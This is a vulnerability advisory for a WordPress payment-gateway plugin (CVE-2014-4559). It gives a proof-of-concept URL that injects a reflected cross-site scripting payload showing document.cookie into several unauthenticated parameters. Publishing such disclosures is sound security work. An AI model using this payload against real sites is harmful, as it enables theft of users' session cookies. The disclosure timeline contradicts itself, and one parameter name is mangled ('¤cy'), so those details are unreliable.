Plugin Details
Plugin Name: wp-plugin : swipehq-payment-gateway-wp-e-commerce
Effected Version : 3.1.0 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Minimum Level of Access Required : Unauthenticated
CVE Number : CVE-2014-4559
Identified by : Prajalkulkarni
Disclosure Timeline
-
January 22, 2014: Vendor Contacted
- January 11, 2014 : Plugin Closed
- May 25, 2014 : Public Disclosure
Technical Details
http://localhost/wordpress/wp-content/wp-plugs/swipehq–payment–gateway–wp–e–commerce/test-plugin.php?api_key=api_key%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&payment_page_url=payment_page_url%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&merchant_id=merchant_id%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&api_url=api_url%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E¤cy=currency%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&